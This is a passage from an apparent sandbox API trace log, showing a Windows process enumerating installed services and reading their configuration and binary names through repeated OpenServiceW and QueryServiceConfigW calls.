lpWideCharStr="netpipeactivator", cchWideChar=16, lpMultiByteStr=0x1e24a08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netpipeactivator", lpUsedDefaultChar=0x0) returned 16 [0032.619] OpenServiceW (hSCManager=0x2d3600, lpServiceName="NetPipeActivator", dwDesiredAccess=0x1) returned 0x2d3790 [0032.619] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.619] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.619] GetLastError () returned 0x7a [0032.619] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1e24a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0032.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netprofm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netprofm", cchWideChar=8, lpMultiByteStr=0x1e24a50, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netprofm", lpUsedDefaultChar=0x0) returned 8 [0032.620] OpenServiceW (hSCManager=0x2d3600, lpServiceName="netprofm", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.620] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.620] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.620] GetLastError () returned 0x7a [0032.620] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24a98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpactivator", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0032.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpactivator", cchWideChar=15, lpMultiByteStr=0x1e24a98, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nettcpactivator", lpUsedDefaultChar=0x0) returned 15 [0032.620] OpenServiceW (hSCManager=0x2d3600, lpServiceName="NetTcpActivator", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.621] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.621] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.621] GetLastError () returned 0x7a [0032.621] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x176, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1e24ae0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0032.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpportsharing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpportsharing", cchWideChar=17, lpMultiByteStr=0x1e24ae0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nettcpportsharing", lpUsedDefaultChar=0x0) returned 17 [0032.621] OpenServiceW (hSCManager=0x2d3600, lpServiceName="NetTcpPortSharing", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.621] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.622] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.622] GetLastError () returned 0x7a [0032.622] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1e24b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0032.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nlasvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nlasvc", cchWideChar=6, lpMultiByteStr=0x1e24b28, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nlasvc", lpUsedDefaultChar=0x0) returned 6 [0032.622] OpenServiceW (hSCManager=0x2d3600, lpServiceName="NlaSvc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.622] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.622] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.623] GetLastError () returned 0x7a [0032.623] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x15a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24b70, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nsi", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nsi", cchWideChar=3, lpMultiByteStr=0x1e24b70, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nsi", lpUsedDefaultChar=0x0) returned 3 [0032.623] OpenServiceW (hSCManager=0x2d3600, lpServiceName="nsi", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.623] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.623] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.623] GetLastError () returned 0x7a [0032.623] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose64", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose64", cchWideChar=5, lpMultiByteStr=0x1e24bb8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose64", lpUsedDefaultChar=0x0) returned 5 [0032.624] OpenServiceW (hSCManager=0x2d3600, lpServiceName="ose64", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.624] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.624] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.624] GetLastError () returned 0x7a [0032.624] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x1e24c00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0032.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc", cchWideChar=7, lpMultiByteStr=0x1e24c00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osppsvc", lpUsedDefaultChar=0x0) returned 7 [0032.625] OpenServiceW (hSCManager=0x2d3600, lpServiceName="osppsvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.625] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.625] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.625] GetLastError () returned 0x7a [0032.625] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x1b0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc.exe", cchWideChar=11, lpMultiByteStr=0x1e24c48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osppsvc.exe", lpUsedDefaultChar=0x0) returned 11 [0032.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2pimsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2pimsvc", cchWideChar=8, lpMultiByteStr=0x1e24c48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p2pimsvc", lpUsedDefaultChar=0x0) returned 8 [0032.626] OpenServiceW (hSCManager=0x2d3600, lpServiceName="p2pimsvc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.626] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.626] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.626] GetLastError () returned 0x7a [0032.626] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24c90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2psvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2psvc", cchWideChar=6, lpMultiByteStr=0x1e24c90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p2psvc", lpUsedDefaultChar=0x0) returned 6 [0032.626] OpenServiceW (hSCManager=0x2d3600, lpServiceName="p2psvc", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.627] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.627] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.627] GetLastError () returned 0x7a [0032.627] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24cd8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pcasvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pcasvc", cchWideChar=6, lpMultiByteStr=0x1e24cd8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pcasvc", lpUsedDefaultChar=0x0) returned 6 [0032.627] OpenServiceW (hSCManager=0x2d3600, lpServiceName="PcaSvc", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.627] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.628] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.628] GetLastError () returned 0x7a [0032.628] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x15c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24d20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peerdistsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peerdistsvc", cchWideChar=11, lpMultiByteStr=0x1e24d20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peerdistsvc", lpUsedDefaultChar=0x0) returned 11 [0032.628] OpenServiceW (hSCManager=0x2d3600, lpServiceName="PeerDistSvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.628] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.628] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.629] GetLastError () returned 0x7a [0032.629] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x11a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24d68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost", cchWideChar=8, lpMultiByteStr=0x1e24d68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="perfhost", lpUsedDefaultChar=0x0) returned 8 [0032.629] OpenServiceW (hSCManager=0x2d3600, lpServiceName="PerfHost", dwDesiredAccess=0x1) returned 0x2d3790 [0032.629] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.629] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.629] GetLastError () returned 0x7a [0032.629] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x124, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost.exe", cchWideChar=12, lpMultiByteStr=0x1e24db0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="perfhost.exe", lpUsedDefaultChar=0x0) returned 12 [0032.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x1e24db0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0032.630] OpenServiceW (hSCManager=0x2d3600, lpServiceName="pla", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.630] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.630] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.630] GetLastError () returned 0x7a [0032.630] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24df8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plugplay", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plugplay", cchWideChar=8, lpMultiByteStr=0x1e24df8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plugplay", lpUsedDefaultChar=0x0) returned 8 [0032.631] OpenServiceW (hSCManager=0x2d3600, lpServiceName="PlugPlay", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.631] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.631] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.631] GetLastError () returned 0x7a [0032.631] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x10a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24e40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpautoreg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpautoreg", cchWideChar=11, lpMultiByteStr=0x1e24e40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnrpautoreg", lpUsedDefaultChar=0x0) returned 11 [0032.631] OpenServiceW (hSCManager=0x2d3600, lpServiceName="PNRPAutoReg", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.632] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.632] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, 